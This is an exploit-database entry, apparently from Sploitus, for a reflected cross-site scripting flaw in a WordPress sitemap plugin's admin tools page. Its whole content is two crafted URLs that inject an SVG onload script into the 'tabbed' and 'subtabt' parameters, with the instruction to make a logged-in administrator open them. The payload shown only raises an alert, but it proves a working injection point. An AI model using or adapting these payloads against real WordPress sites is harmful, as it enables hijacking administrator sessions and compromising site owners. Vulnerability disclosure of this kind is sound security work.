## https://sploitus.com/exploit?id=WPEX-ID:8176308F-F210-4109-9C88-9372415DBED3
Make a logged-in admin open:
https://example.com/wp-admin/tools.php?page=csg-sitemap&tabbed=<svg/onload=alert(/XSS/)>
https://example.com/wp-admin/tools.php?page=csg-sitemap&tabbed=exclusion&subtabt=<svg/onload=alert(/XSS/)>